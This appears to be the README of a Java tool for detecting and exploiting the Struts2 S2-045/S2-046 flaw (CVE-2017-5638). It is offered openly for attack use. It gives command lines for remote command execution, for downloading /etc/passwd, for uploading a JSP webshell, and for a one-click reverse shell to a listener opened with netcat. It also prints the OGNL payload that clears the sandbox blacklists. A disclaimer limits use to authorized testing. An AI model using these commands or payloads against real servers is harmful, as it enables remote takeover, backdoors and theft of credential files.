gu-007/struts2-toolStruts2 S2-045/S2-046 CVE-2017-5638 detection & exploitation tool
A pure Java implementation of a Struts2 S2-045 / S2-046 (CVE-2017-5638) vulnerability detection and exploitation tool. The detection module covers both the S2-045 / S2-046 vulnerabilities, and the exploitation module provides capabilities such as command execution, file management, information gathering, interactive Shell, reverse Shell, and Webshell upload.
Disclaimer: This tool is intended solely for authorized security testing, vulnerability research, and educational purposes. It is strictly prohibited for unauthorized illegal use, and users must bear all legal responsibility themselves.
| Module | Subcommand | Description |
|---|---|---|
| Vulnerability Detection | scan | Detect S2-045 / S2-046 (mathematical verification + UUID fingerprint marker) |
| Batch Scanning | batch | Batch detect multiple targets, output summary and JSON report |
| Command Execution | exec | Arbitrary system command execution + echo (auto-adapts to Win/Linux) |
| Interactive Shell | shell | Persistent interaction, cd directory persistence, pwd/webroot/os built-in commands |
| File Upload | upload | OGNL direct write (small files) / command segmented write (large files) |
| File Download | download | Base64 encoded download (binary safe) |
| Web Root Directory | getpath | Get the physical deployment path of the web application |
| System Information | sysinfo | OS / user / kernel / working directory information |
| Reverse Shell | revshell | One-click reverse bash / PowerShell Shell |
| Webshell Upload | webshell | Generate and upload JSP Webshell (plaintext ?CMD= style) |
| Report Export | scan -r | JSON / HTML report |
The download feature can read arbitrary files on the server (such as
/etc/shadow); please use it only in authorized testing.
:: Execute in the project directory
.\build.bat
In PowerShell, the
.\prefix is required; in cmd, you can directly usebuild.bat. build.bat is only responsible for building and will not initiate any network requests or scans. After the build completes, the window stays open and enters a cmd session (you can directly run tool commands; typeexitto close). If your environment cannot write to the default Maven repository, you can first set the environment variableM2_REPOto point to a writable directory.
Artifact: target\s2tool.jar (fat-jar).
For Linux/Mac, refer to
build.sh
# 1. Vulnerability detection
java -jar s2tool.jar scan http://target/action
# 2. Detection + export JSON/HTML report
java -jar s2tool.jar scan http://target/action -r both
# 3. Command execution
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. Interactive Shell
java -jar s2tool.jar shell http://target/action
# 5. Get web root directory / system information
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. Upload / download files
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. One-click Webshell upload (plaintext ?CMD= style)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Access: http://target/shell.jsp?CMD=whoami
# 8. Reverse Shell (attacker machine listens first: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. Batch scanning
java -jar s2tool.jar batch targets.txt -r json
# Comment lines start with # (automatically ignored)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
Version ranges from official advisories (both vulnerabilities are based on Apache official advisory statements, for users to assess whether a target is affected):
| Vulnerability | CVE | Affected versions (vulnerable versions) | Fixed versions (patched versions) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31, 2.5 ~ 2.5.10 | 2.3.32 or 2.5.10.1 and above |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31, 2.5 ~ 2.5.10 | 2.3.32 or 2.5.10.1 and above |
This tool does not rely on version number judgment; it directly determines whether a vulnerability exists through Payload probing results, because version identification is unreliable (many sites hide version numbers). The table above is only for your manual assessment reference, and does not affect the tool's detection logic.
For S2-046, the tool supports both the filename null byte injection and the Content-Type same-root-cause detection paths.
Vulnerability principle:
Content-Type; S2-046: the filename of Content-Disposition) into the exception message,
and the exception message is OGNL-evaluated through the Struts2 internationalization text processing flow (TextParseUtil.translateVariables)(#nike='multipart/form-data') // Disguise Content-Type to pass the contains check
(#[email protected]@DEFAULT_MEMBER_ACCESS) // Obtain the highest-privilege MemberAccess
(#_memberAccess?(#_memberAccess=#dm): // Lower versions: replace directly
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // Clear the package name blacklist
(#ognlUtil.getExcludedClasses().clear()) // Clear the class blacklist
(#context.setMemberAccess(#dm)))) // Higher versions: clear blacklist then replace
Tested: On Struts2 2.3.30, the simplified version (only
setMemberAccess) cannot bypass the sandbox; the full version (including the OgnlUtil blacklist-clearing path) must be used.
| Technique | Principle | Description |
|---|---|---|
| Mathematical operation verification | OGNL executes 88888888-23333+1222; if the response contains 88866777, it exists | Public POC formula |
| UUID fingerprint marker | Inject a random UUID and echo it to the response body | High precision, unaffected by network latency |
| Delay detection | Thread.sleep(6000) time difference (only S2-045 no-echo fallback) | Threshold >3.6s |